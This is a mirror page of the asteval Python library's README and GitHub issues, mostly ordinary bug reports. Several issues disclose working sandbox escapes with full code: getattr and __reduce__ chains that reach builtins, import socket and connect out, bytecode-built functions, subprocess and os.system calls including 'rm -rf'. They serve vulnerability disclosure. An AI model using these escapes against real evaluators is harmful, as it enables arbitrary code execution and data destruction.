Giter VIP home page Giter VIP logo

asteval's Introduction

ASTEVAL

image

image

image

image

image

image

image

image

image

What is it?

ASTEVAL is a safe(ish) evaluator of Python expressions and statements, using Python's ast module. The idea is to provide a simple, safe, and robust miniature mathematical language that can handle user-input. The emphasis here is on mathematical expressions, and so many functions from numpy are imported and used if available.

Many Python lanquage constructs are supported by default, These include slicing, subscripting, list comprehension, conditionals (if-elif-else blocks and if expressions), flow control (for loops, while loops, and try-except-finally blocks). All data are python objects, and built-in data structures (dictionaries, tuple, lists, numpy arrays, strings) are fully supported by default.

Many of the standard builtin python functions are available, as are all mathemetical functions from the math module. If the numpy module is installed, many of its functions will also be available. Users can define and run their own functions within the confines of the limitations of asteval.

There are several absences and differences with Python, and asteval is by no means an attempt to reproduce Python with its own ast module. Some of the most important differences and absences are:

  1. Variable and function symbol names are held in a simple symbol table (a single dictionary), giving a flat namespace.
  2. creating classes is not supported.
  3. importing modules is not supported.
  4. function decorators, yield, lambda, exec, and eval are not supported.
  5. files can only be opened in read-only mode.

In addition, accessing many internal methods and classes of objects is forbidden in order to strengthen asteval against malicious user code.

asteval's People

Contributors

ankostis avatar caenrigen avatar ccomb avatar cdeil avatar chrisjbremner avatar cmutel avatar dwelch91 avatar eendebakpt avatar gnithin avatar jmdejong avatar jrief avatar mgoldey avatar mgorny avatar miso-belica avatar natezb avatar newville avatar qsollet avatar reneeotten avatar s-weigand avatar sethw-xilinx avatar takluyver avatar tals avatar

Stargazers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

Watchers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

asteval's Issues

Import error with python 3.7 due to missing import.metadata

Unfortunately, for python 3.7 importlib.metada does not exist. Therefore, the _version.py file of this package causes an package import error.
Other packages (e.g. jsonschema 3.2) use this compatibility code to fix the issue:

try:
from importlib import metadata
except ImportError: # for Python<3.8
import importlib_metadata as metadata

Exception handling incorrect

Several things seem to go wrong with the execption handling.
This code:

def foo():
    raise Exception("error in function")

try:
    foo()
    print("still going on")
    raise Exception("directly raised error")
except Exception:
    print("error caught")

Gives as result:

error caught
still going on
Exception

directly raised error

(The last 3 lines are the printed error)

There are 2 things going wrong here:

  • When a raised exception is caught the rest of the try block will still be executed
  • Catching some exception type does not catch exceptions that are raised directly in that try block

These problems are unrelated: they also show up when I test for them individually.

Another problem is that catching named errors doesn't work.

def foo():
    raise Exception("error in function")

try:
    foo()
except Exception as ex:
    print("caught:", ex)

gives:

NameError
   <>
                         ^^^
name 'ex' is not defined

Error in nested calls to procedures

First of all, great work. Thanks for doing this library.

The following code involving user defined functions does not run properly:

from asteval import Interpreter

aeval = Interpreter()

code="""
def fun(x):
    return x

def fun2(x):
    y=fun(x)
    return y+1

x=1
y=fun2(x)
print "should be y={}, and it is: y={}".format(x+1,y)
# should be y=2, and it is: y=1
"""
aeval(code)

It seems that fun2 stops running after the return of fun.

0.9.1 released on PyPi

Current version on PyPi is 0.9 as of 2012-04-09. Is there a timeline for 0.9.1? If it's not ready, can current master at least be released as 0.9.1-dev to indicate that it's the in-progress development version?

I ran into an issue where a build of another project was failing in some circumstances because of the import numpy statement that has since been removed in 0.9.1, but not released. I was able to resolve it by building and installing from source, but it would be nice if it were on PyPi so it would work nicely with pip.

Arbitrary code execution

Constructing and running functions from arbitrary bytecode from within the sandbox.

Tested in Python 3.6.2 on Linux.

import asteval
aeval = asteval.Interpreter()

code = """

# To break out of the sandbox, we first try to get access to
# object.__subclasses__. Once we have that, we can get access to
# 'code' and 'function' and use these to construct new, real functions
# (not Procedures) from arbitrary bytecode.

# First up, lets get access to object:
object = str.__mro__[1]

# Getting __subclasses__ is harder. We're going to construct a
# Procedure `get_subclasses` which takes an object and returns its
# __subclasses__ attribute (basically a janky, restricted version of
# the built-in getattr).

def get_subclasses(x):return x.attribute

# Procedures leak access to their AST:

# get_subclasses.body[0].value.attr = hack_string

# hack_string is going to be an object with an __eq__ method which
# counts the number of times it is called until the `node.attr not in
# UNSAFE_ATTRS` check on line 408 is done, then it goes and modifies
# the AST of get_subclasses /again/ to replace node.attr with the plain old
# string '__subclasses__'.

## METHODS

# These are really Procedures, not true functions, so we don't have
# access to self. Maybe there's a way to fix that, but since we only
# need one it's easy to just use global state instead.

# I would rather count be a global integer, but that results in a
# runtime error: "attribute for storage: shouldn't be here."  I didn't
# look carefully enough to see why that is, but a list works fine as a
# counter.
count = [0]
def phony_eq(x):
    count[0] += 1
    if count[0] == 9:
        get_subclasses.body[0].value.attr = '__subclasses__'
        count[0] = 0

    if count[0] <= 9:
        return False

# Not needed, but meant less bizarre error messages when I was writing
# this
def phony_str(): return "<hack_string>"

# We can still create new classes using 'type'. I don't think it
# actualy matters that this be a str subclass.

hack_string = type('HackString',
                (str, ),
                {'__eq__': phony_eq,
                 '__str__': phony_str})()


# Now we're ready to put this in place.
get_subclasses.body[0].value.attr = hack_string
__subclasses__ = get_subclasses(object)

for c in __subclasses__():
    if c.__name__ == 'code':
        code = c
    if c.__name__ == 'function':
        function_ = c

# At this point we can create and run functions from arbitrary
# bytecode:

# For demonstration purposes, our function is the following:

#  def my_getattr(obj, attr):
#      return obj.__getattribute__(attr)

# which has bytecode

#  b'|\\x00j\\x00|\\x01\\x83\\x01S\\x00'

# We can't enter literal bytes objects, but that's okay:

getattr_bytecode = ('|\\0j\\0|' + chr(0x1)).encode('utf-8') + chr(0x83).encode('utf-8')[1:] + (chr(0x1) + 'S\\0').encode('utf-8')

code_obj = code(2, 0, 2, 2, 67, getattr_bytecode, (None, ), ('__getattribute__', ), ('obj', 'attr'), '', 'my_getattr', 0, ('\\0' + chr(0x1)).encode('utf-8'))
my_getattr = function_(code_obj, {})


print(my_getattr({}, '__class__'))
"""


aeval(code)

Result:

<class 'dict'>

hiding errors prints

Could you introduce a switch to turn prints of errors off?

it seems as it is asteval.py lines 324, 328:
print(errmsg, file=self.err_writer)

Thank you.

Python 3.10: test_kaboom fails with IndexError

Fedora Linux is currently doing a mass rebuild of Python packages in Rawhide (the development version of Fedora) using Python 3.10.0 beta 2. The build of python-asteval is failing on Python 3.10 as follows:

=================================== FAILURES ===================================
_____________________________ TestEval.test_kaboom _____________________________
self = <test_asteval.TestEval testMethod=test_kaboom>, chk_type = 'MemoryError'
chk_msg = ''
    def check_error(self, chk_type='', chk_msg=''):
        try:
>           errtype, errmsg = self.interp.error[0].get_error()
E           IndexError: list index out of range
tests/test_asteval.py:126: IndexError
During handling of the above exception, another exception occurred:
self = <test_asteval.TestEval testMethod=test_kaboom>
        def test_kaboom(self):
            """ test Ned Batchelder's 'Eval really is dangerous' - Kaboom test (and related tests)"""
            self.interp("""(lambda fc=(lambda n: [c for c in ().__class__.__bases__[0].__subclasses__() if c.__name__ == n][0]):
        fc("function")(fc("code")(0,0,0,0,"KABOOM",(),(),(),"","",0,""),{})()
    )()""")
            self.check_error('NotImplementedError', 'Lambda')  # Safe, lambda is not supported
    
            self.interp(
                """[print(c) for c in ().__class__.__bases__[0].__subclasses__()]""")  # Try a portion of the kaboom...
    
            self.check_error('AttributeError', '__class__')  # Safe, unsafe dunders are not supported
            self.interp("9**9**9**9**9**9**9**9")
            self.check_error('RuntimeError')  # Safe, safe_pow() catches this
            self.interp(
                "x = ((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((1))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))")
            if version_info == (3, 9):
                self.isvalue('x', 1)
                self.check_error(None)
            else:
>               self.check_error('MemoryError')  # Hmmm, this is caught, but its still concerning...
tests/test_asteval.py:922: 
_ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ 
tests/test_asteval.py:132: in check_error
    self.assertTrue(False)
E   AssertionError: False is not true
=========================== short test summary info ============================
FAILED tests/test_asteval.py::TestEval::test_kaboom - AssertionError: False i...
========================= 1 failed, 61 passed in 1.38s =========================

See https://bugzilla.redhat.com/show_bug.cgi?id=1899470.

asteval Interpreter not deep copyable

Hello,

I have been using this amazing library in my software for some time now, and just today I run into a very strange problem. For some reason, I need to deep copy an object which includes an asteval.Interpreter as a member variable. Unfortunately, this does not work.

Reproducing code example:

import copy
import asteval
aeval = asteval.Interpreter(minimal=True, use_numpy=False)
copy.deepcopy(aeval)

Error message:

    copy.deepcopy(aeval)
  File "/usr/lib/python3.7/copy.py", line 180, in deepcopy
    y = _reconstruct(x, memo, *rv)
  File "/usr/lib/python3.7/copy.py", line 280, in _reconstruct
    state = deepcopy(state, memo)
  File "/usr/lib/python3.7/copy.py", line 150, in deepcopy
    y = copier(x, memo)
  File "/usr/lib/python3.7/copy.py", line 240, in _deepcopy_dict
    y[deepcopy(key, memo)] = deepcopy(value, memo)
  File "/usr/lib/python3.7/copy.py", line 169, in deepcopy
    rv = reductor(4)
TypeError: cannot serialize '_io.TextIOWrapper' object

Thoughts:

After doing some Googling, I found people saying that this problem can be caused when trying to deep copy objects that include files. So I did the following:

import copy
copy.deepcopy(open("foo.txt", "w"))

Indeed, the above produced the same exception at the same line, but the call stack is shallower:

copy.deepcopy(open("foo.txt", "w"))
  File "/usr/lib/python3.7/copy.py", line 169, in deepcopy
    rv = reductor(4)
TypeError: cannot serialize '_io.TextIOWrapper' object

I would like to ask if someone knows whether asteval is deliberately not deep copyable or this is a bug.

Thank you for your time.

perhaps the way to make asteval unsafe?

delete system file using asteval:

from asteval import Interpreter
aeval = Interpreter()
aeval.symtable['os']=__import__('os') 
aeval("os.system('rm -f foo.txt')")

Why is file reading enabled by default?

It seems to me that in almost any use case for asteval reading (possibly private) files would also pose a security risk.
It is easy to remove "open" from the symtable, but why is it in there by default?

Strange behaviour when asteval throws an exception

Hello,

I have the following code:

import asteval
expreval = asteval.Interpreter(minimal=True, use_numpy=False)
expreval("a=sin('1')")
for error in expreval.error:
    print(error.get_error())

When I run it, it produces the following output:

TypeError
   a=sin('1')
      ^^^
Error running function call 'sin' with args ['1'] and kwargs {}: must be real number, not str
('TypeError', "   a=sin('1')\n      ^^^\nError running function call 'sin' with args ['1'] and kwargs {}: must be real number, not str")
('TypeError', "   a=sin('1')\n      ^^^\nat expr='a=sin('1')'")
('TypeError', "   a=sin('1')\nat expr='a=sin('1')'")
('TypeError', "   a=sin('1')\nat expr='a=sin('1')'")

I am a bit confused as to why the code results in 4 errors instead of one. To me, it seems that only expreval.error[0] should be generated. Is this a bug or a feature? Or maybe I am missing something?

Thank you

PS: I am using Python 3.7

Add support for Unicode identifiers

Non-ASCII identifiers have been available since Python 3.0, and are described here. Currently, valid_symbol_name() does not accept such characters. I encountered this issue when using lmfit, a situation where using such identifiers would be very useful.

I might be willing to issue a PR to fix this if it's not too involved--are there any other places in the code that might need to be modified, other than valid_symbol_name()?

Disable warning when numpy is not available

Warning: numpy not available... functionality will be limited.

This is quite annoying, especially when you call Interpreter(use_numpy=False).
I think it should only appear when use_numpy=True

An alternative would be to set the default to use_numpy=False and throw an error if use_numpy=True and the module is not installed.

place variable in for loop

there is an issue with using a variable named "place" in a for loop:

from asteval import Interpreter
code = "for place in [1,2,3]: pass"
interpr = Interpreter()
interpr.eval(code)

'str' object cannot be interpreted as an integer

There is a place item in the "FROM_NUMPY" set in asteval, maybe there is some collision.

error_msg not being cleared between eval() runs

Hello -- loving asteval! Thanks for putting this on github.

I would submit as a commit but not super confident I'm right so adding as an issue.

In eval() currently it resets self.error = [] but does not reset self.error_msg

This means that if you call eval(*args,show_errors=False) you end up with an incrementally growing error list.

I think all that's needed is a simple self.error_msg = None in the first few lines of def eval()

Cheers,

-Mike

Add classifiers to show Python 3 support

Not sure what you think is appropriate, but something like the following would be nice:

classifiers=[
  'Intended Audience :: End Users/Desktop',
  'Intended Audience :: Developers',
  'Intended Audience :: Science/Research',
  'License :: OSI Approved :: BSD License',
  'Operating System :: MacOS :: MacOS X',
  'Operating System :: Microsoft :: Windows',
  'Operating System :: POSIX',
  'Programming Language :: Python',
  'Programming Language :: Python :: 2.6',
  'Programming Language :: Python :: 2.7',
  'Programming Language :: Python :: 3.2',
  'Programming Language :: Python :: 3.3',
 ],

Add f-string support ?

Hello, when i use "[f'foo-{i}' for i in range(5) ]", it raise 'JoinedStr' not supported


>>> from asteval import Interpreter
>>> secure_eval = Interpreter()

>>> some_str = "[f'foo-{i}' for i in range(5) ]"

>>> secure_eval(some_str)
NotImplementedError
   [f'foo-{i}' for i in range(5) ]
     ^^^
'JoinedStr' not supported

>>> eval(some_str)
['foo-0', 'foo-1', 'foo-2', 'foo-3', 'foo-4']

>>> secure_eval("['foo-{}'.format(i) for i in range(5) ]")
['foo-0', 'foo-1', 'foo-2', 'foo-3', 'foo-4']

Did it support f-string?

Access to parse tree?

Hi. First of all, thanks for this wonderful project. It did exactly what I was looking for. I am using it to execute user defined math formulae and for that it works really well. I really appreciate being able to lock down the interpreter. I found it after going through "formulas", pandas.eval (where I ran into this nasty bug pandas-dev/pandas#24670 ) and even briefly flirting with using python eval. Finding this made my day.

I also have a need to display these user defined formulae. It would be pretty great if this package could help with that by exposing the AST or something. I'm currently using "formulas", but I'm not a great fan of this package.

I also briefly looked at https://github.com/glenfletcher/Equation which generates latex, but it's unmaintained and doesn't seem to let you use custom functions.

Sandbox easily violated with getattr

Using getattr to climb out of your sandbox, delete the unsafe attributes, get an import function, then give myself a native python shell outside your sandbox.

def test(): pass
getattr(getattr(test.interpreter.parse, "__func__"), "func_globals")["UNSAFE_ATTRS"] = []
test.interpreter.parse.__func__.func_globals["__builtins__"]["__import__"]("subprocess").call("python")

Python 3.8 compatibility

@newville I tried to do some testing with Python 3.8 and lmfit, which I will try to add to Travis after we release v0.9.14. It seems though that most of the issues I noticed were actually related to asteval.

All the test pass with Python 3.7, but there are many failures with the latest beta3:
======================== 42 failed, 15 passed in 2.04s =========================

I haven't carefully looked at it yet, but just wanted to see if you had done some work/testing on this already. There is more than a month left before the planned release, but it might be worthwhile to take a look at this before that actually happens.

Security issue - the 'os.system' method is still accessible

Hi everyone,

It seems that most of the python language is still accessible with asteval when we use aliases.

For example, here is a small code to create two directories and remove one:

from os import system as y
import asteval

aeval = asteval.Interpreter()

aeval.symtable['y'] = y

aeval("y('mkdir test1 test2')")
aeval("y('rm -rf test1')")

The same could be done with "aeval('rm -rf /')".

There might be a way to make it safer if all function calls are filtered using a ast.NodeTransformer. Then for each 'ast.Name' associated with the 'ast.Call', just replace the name by a dictionary entry which contains the truly expected function.
However, this implies making the symtable read-only, and thus strongly limit the asteval capabilities.

For example, when I write:

aeval("exp(-x**2 / (2 * sigma)")

We can use the ast.NodeTransformer to change the string to "symtable['exp'](-x**2 / (2 * sigma))", where 'symtable' is read-only and point here to the numpy exponential function.

raise differs for Python 3

looks like raise parses differently in python3

Python2:

ast.dump(ast.parse("raise NameError('foo')"))
"Module(body=[Raise(type=Call(func=Name(id='NameError', ctx=Load()), args=[Str(s='foo')], keywords=[], starargs=None, kwargs=None), inst=None, tback=None)])"

Python3
"Module(body=[Raise(exc=Call(func=Name(id='NameError', ctx=Load()), args=[Str(s='foo')], keywords=[], starargs=None, kwargs=None), cause=None)])"

(that is 'type' vs 'exc').... must look for both cases

Python 3.5 AttributeError: 'Call' object has no attribute 'starargs'

Hi, I got a very strange problem, when I run this in terminal:

# some_test.py
from asteval import Interpreter
interp = Interpreter()
interp('print(1)')

It raise an exception:

# python some_test.py
AttributeError
   print(1)
'Call' object has no attribute 'starargs'

And if I use pycharm to run unittest, all test is passed without error, but if I run unittest in terminal, it shows a lot of error. Is there something wrong?

Add documentation for Interpreter constructor parameters

Hi,

today I've had some problems with long computations and I had to look at the sources in order to find out how to customize max_time of Interpreter; additional info could help others in the same situation.

p.s. thank you for your work, your library is awesome!

Comparison operators fail in a very unpredictable way in v 0.9.13

Here is a very simple code snipped with very strange results:

>>> from asteval.asteval import Interpreter
>>> interp = Interpreter()
>>> interp.symtable['enabled'] = scipy.ones(10)
>>> interp('enabled == 1')
array([ True,  True,  True,  True,  True,  True,  True,  True,  True,
        True])
>>> interp('enabled < 1')
ValueError
   enabled < 1
The truth value of an array with more than one element is ambiguous. Use a.any() or a.all()

Sandbox escape

The engineers at work were considering using asteval, so I've taken a quick look at it to see what kind of risk it might represent. One sandbox escape in particular jumps out - reduce is permitted, giving access to getattr, at which point none of the security assumptions hold.

Potential "fixes", in rough order of less effort/useful -> more effort/useful include:

  • add reduce and reduce_ex to the UNSAFE_ATTR list
  • add a "deny all dunder methods" flag to the Interpreter constructor, prohibit access to such methods accordingly, and make it default True
  • move to an allow-list model, rather than a deny-list model

I'd also suggest adding base, builtin and builtins to the naughty list in the short-term. Given asteval's use case, it still exposes a lot of Python internals, increasing attack surface considerably. Of course this is basically whack-a-mole, as deny-lists inevitably are.

Simple proof of concept (open a netcat listener or some such on port 1234/tcp for full effect):

#!/usr/bin/env python3
# asteval "sandbox" escape PoC
# Ross Bradley

import asteval

user_input = '''
# reduce the asteval.Interpreter._printer function, returning a tuple
red = print.__reduce__()
print(red)

# red[0] == getattr, red[1][0] == asteval.Interpreter instance)
#  this is the crux of the issue - access to getattr breaks all security assumptions allowing us to access props we shouldn't be able to

# give them nice names to make the following code a little clearer
getattr = red[0]
inst = red[1][0]

# get the class for the asteval.Interpreter instance
cls = getattr(inst, '__class__')

# get an object instance from the class
obj = getattr(cls, '__base__')
subclasses = getattr(obj, '__subclasses__')

# find the catch_warnings type
cw = [c for c in subclasses() if c.__name__ == 'catch_warnings'][0]

# fetch the reference to builtins from the catch_warnings type
bi = cw()._module.__builtins__

# import socket (wait, what?)
socket = bi['__import__']('socket')

# do socket things
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('localhost', 1234))
s.send(b'arbitrary code execution')
s.close()
'''

interpreter = asteval.Interpreter()
interpreter.eval(user_input)

How would you handle infinite loops?

I am thinking about using this in a web service and I want to like put a timer on the execution. I was wondering if you have any ideas on how to handle this?

One idea I had was to open a thread, or use a subprocess call and then set a timer. Wondering if you had any thoughts?

return from nested loop doesn't return until loop finishes

I'm using 0.9.18 on python 3.8.3. Unless I'm doing something wrong, this code

def func():
    loop_cnt = 0
    for i in range(5):
        for k in range(5):
            loop_cnt += 1
        return [i, k, loop_cnt]

func()

returns [4, 4, 25], versus [0, 4, 5] in native python.

Silent evaluation failures due to too low recursion-limit(100)

While evaluating correct expressions, I got None as result, but no error were reported (they have silently failed).

When I tried to investigate the issue, I was receiving the following error on Interpreter().eval() from within my debugger (LiClipse + PyDev):

cannot set the recursion limit to 100 at the recursion depth 87: the limit is too low

Obviously my debugger had pushed the stack close to that limit,
and python-interpreter screamed at asteval/asteval.py#L136:

sys.setrecursionlimit(RECURSION_LIMIT)

So I hand-edited asteval/astutils.py:#L16 and increased my limit to i.e. 500:

 RECURSION_LIMIT = 100

But then, all my expressions worked OK!

On first impression, I would consider recursion-limit=100, too low for general use.

My second thought would be to set the limit at least current_stack_depth + 100 and that value(100) to be user-configurable.

But as general precaution, I believe that:

  • normal code should not mess with sys.setrecursionlimit() because it might have serious side-effects.

  • If this protection measure is needed, user-code should perform that invocation - the documents should explain how.

  • At most, an "opt-in" keyword should do that, with something like that:

    import inspect
    
    class Interpreter:
        def __init__(..., recursion_cap=None):
            ...
            if recursion_cap:
                if recursion_cap is True:
                    recursion_cap = DEFAULT_RECURSION_CAP
                recursion_limit = len(inspect.stack()) + recursion_cap
                sys.setrecursionlimit(recursion_limit)
    
    

Supporting lambda expressions

Hi Matthew,

I need something like asteval for a project I'm working on, but I need lambda nodes in particular to work. For my use case, it would be appropriate for the interpretation of a lambda to be simply the AST node itself. Interpreting the call of a lambda appears to be the tricky part, since it looks like you don't have the code currently to handle it. It looks like you kind of let Python take care of that for you, since you'd have actual Python functions in the symtable to call, and Python can do that lining up itself. To really interpret a call to a lambda I think would require taking the arguments, generate a new symtable, evaluating the body, and reverting the symtable. I have done a very trivial demo of this and would be happy to flesh it out and send you a PR if you're interested. Or, if you already know that this concept doesn't work for some reason I haven't thought of, that would be good for me to know before I get too far down the road!

Thanks!

test_dos fails on recursion

When trying to run the tests python stops reacting and starts eating cpu and memory once it reaches test_dos.
Some debug prints suggested that the culprit is in the recursion test.
In that test the debug prints kept going for about 0.03 seconds and then just stopped while the test went out of control.

I have tested this in both Python 3.7.0 and Python 2.7.15.
I am running ArchLinux 64-bit

string format broken

In asteval 0.9.8, I could do this:

>>> import asteval
>>> i = asteval.Interpreter()
>>> i('"hello world {}".format(2)')
'hello world 2'

Now in asteval 0.9.11, this is broken:

>>> import asteval
>>> i = asteval.Interpreter()
>>> i('"hello world {}".format(2)')
AttributeError
   "hello world {}".format(2)
'hello world {}' object has not attribute 'format'

Was this an intentional break and is there an explanation of why the new release did this? Or did I stumble on a bug?

Quiet Mode

Hi,

we use asteval a lot, thanks for the great package!
However, something that used to work, doesn't seem to work anymore, which is surpressing the text output (it can really swamp terminal output with things that aren't issues).
We had this solution in place:

class FakeWriter(object):
    def __init__(self):
        def fake_write(*args):
            pass

        self.write = fake_write

f = Interpreter(writer=FakeWriter())
f('1.0 / 0.0')

This used to work fine, but not anymore. Now we get still stdout for the zero division error. What changed? Is there any way to surpress it better?
We upgraded to the latest version, 0.9.8

BR

Carst

P.s. the following does work:

f('try:\n    1.0 / 0.0\nexcept:\n   pass')

but that seems to be a bit over kill to me?

test_ndarrayslice fails with Python 3.9

============================= test session starts ==============================
platform linux -- Python 3.9.0, pytest-6.1.2, py-1.9.0, pluggy-0.13.1
rootdir: /build/python-asteval/src/asteval-0.9.19
collected 60 items

tests/test_asteval.py ..................................F............... [ 83%]
..........                                                               [100%]

=================================== FAILURES ===================================
__________________________ TestEval.test_ndarrayslice __________________________

self = <test_asteval.TestEval testMethod=test_ndarrayslice>

    def test_ndarrayslice(self):
        """array slicing"""
        if HAS_NUMPY:
            self.interp("a_ndarray = arange(200).reshape(10, 20)")
>           self.istrue("a_ndarray[1:3,5:7] == array([[25,26], [45,46]])")

tests/test_asteval.py:176:
_ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _
tests/test_asteval.py:105: in istrue
    return self.assertTrue(val)
E   AssertionError: False is not true

It succeeds here with Python 3.8.6 and other dependencies unchanged, though.

Restrictions beyond Interpreter(use_numpy=False, minimal=True)

I would like to restrict Interpreter more than what Interpreter(use_numpy=False, minimal=True) allows. For instance, I want to restrict slice in asteval.asteval.ALL_NODES or I want to restrict dir in asteval.astutils.FROM_PY.

Interpreter.__init__() only supports restricting the objects that are specifically defined in the __init__. While I can monkeypatch asteval and get the functionality I want, I think it would make more sense to explicitly support overriding asteval.asteval.ALL_NODES and all of the other globals that are defined in asteval.astutils.

Are there any objections to allowing the user to pass in these globals to Interpreter.__init__()? This could also be done similar to Interpreter.remove_nodehandler() by having an Interpreter.remove_sym() that would remove entries from Interpreter.symtable.

Input is appreciated.

random?

I (foolishly?) tried:

aeval('x = random.normal(0,1)')

and got

NameError
x = random.normal(0,1)
     ^^^
name 'random' is not defined

Is is possible to draw random numbers from distributions using asteval?

Perhaps it would create a security problem to give access to the functions in the random module in numpy, or would it be OK?

Maybe the random subfunctions could be added into the namespace at startup with the other numpy functions.

Willing to help with this if you think it is a good idea.

Great package, thanks!

(edited: language and typos)

variant with a subset ?

First: Great project!

I would like to have a subset of all supported stuff.

e.g.: No numpy, not if/then/else, while, for etc.

Just basic things like: numbers, tuple, list, dict, string, True, False, None

What's about to make this more flexible?

built-in min() function is unexpectedly overridden by numpy

The python built-in min() function is overridden by numpy by default, which makes for some weird behavior:

09:59 $ python
Python 2.7.14 (default, Sep 25 2017, 09:53:22) 
[GCC 4.2.1 Compatible Apple LLVM 9.0.0 (clang-900.0.37)] on darwin
Type "help", "copyright", "credits" or "license" for more information.
>>> min(4,5)
4
>>> from asteval import Interpreter
>>> aeval = Interpreter()
>>> aeval('min(4,5)')
AxisError
   min(4,5)
Error running <function amin at 0x108552488>
>>> 

Workaround: specify use_numpy=False when creating the interpreter

>>> aeval = Interpreter(use_numpy=False)
>>> aeval('min(4,5)')
4

Obviously there's backward compatibility concerns with changing this behavior, and I'm not sure what the right thing here is, but I'd lean in the direction of not changing the meaning of python built-ins based on the presence of an optional module.

function def differs for python 3

Function arguments can be annotated 'args' in Python 3, and so parse differently. Need to look for / handle 'arg' nodes.

Python2:

ast.dump(ast.parse("""def f(x):
... print(x)
... """))
"Module(body=[FunctionDef(name='f', args=arguments(args=[Name(id='x', ctx=Param())], vararg=None, kwarg=None, defaults=[]), body=[Print(dest=None, values=[Name(id='x', ctx=Load())], nl=True)], decorator_list=[])])"

Python 3:

ax = ast.parse("""def f(x):
... print(x)
... """)
ast.dump(ax)
"Module(body=[FunctionDef(name='f', args=arguments(args=[arg(arg='x', annotation=None)], vararg=None, varargannotation=None, kwonlyargs=[], kwarg=None, kwargannotation=None, defaults=[], kw_defaults=[]), body=[Expr(value=Call(func=Name(id='print', ctx=Load()), args=[Name(id='x', ctx=Load())], keywords=[], starargs=None, kwargs=None))], decorator_list=[], returns=None)])"

Problem with functions defined inside asteval.Interpreter

Hi, I'm using asteval to evaluate python code stored in database and it's awesome. But for my use case I need lot of functions definitions and there is something that I really don't understand. I found a very simple test:

aeval = Interpreter()
code = """
def a():
    return 1
def b():
    return 2
def c():
    return a() + b()
c()
"""
aeval(code)  # returns 3
aeval = Interpreter()
code = """
def a():
    return 1
def b():
    return 2
def c():
    x = a()
    y = b()
    return x + y
c()
"""
aeval(code)  # returns 1

Are functions defined inside the interpreter only working in one-line statements? Thanks for your work!

kwargs don't seem to be passed down correctly

First of all, thank you for a very useful library! I've found a slight issue with how kwargs are passed down recursively. Here is an example of what I mean:

from asteval import Interpreter
aeval = Interpreter()

inner = \
"""
def inner(foo=None,bar=None):
    print(foo, bar)
"""

outer = \
"""
def outer(**kwargs):
    inner(**kwargs)
"""

aeval(inner)
aeval(outer)

aeval("inner(foo='baz', bar=123)") # this one works
aeval("outer(foo='baz', bar=123)") # this one does not

For completeness, here is the same code in regular python which works fine:

def inner(foo=None,bar=None):
    print(foo,bar)

def outer(**kwargs):
    inner(**kwargs)

outer(foo='baz', bar=123)

With the following tweak in asteval.py (row 746) it seems to behave like expected:

        while len(keywords) == 1 and None in keywords.keys():
            keywords = keywords[None]

But I'm sure there's a more correct way to solve it. Any help on this would be much appreciated!

Python 3.X print() works with no_print=True

While I know the python 3.x print() function is not designed to be blocked by the no_print=True setting, is there a plan to implement this? As a temporary workaround, I have simply removed print from the symtable whenever no_print is set. This prevents the symbol from being loaded in the on_name() call here. I'm not sure if that's the best way to address this and haven't tested this enough to see if it breaks other sections of the interpreter.

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    ๐Ÿ–– Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. ๐Ÿ“Š๐Ÿ“ˆ๐ŸŽ‰

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google โค๏ธ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.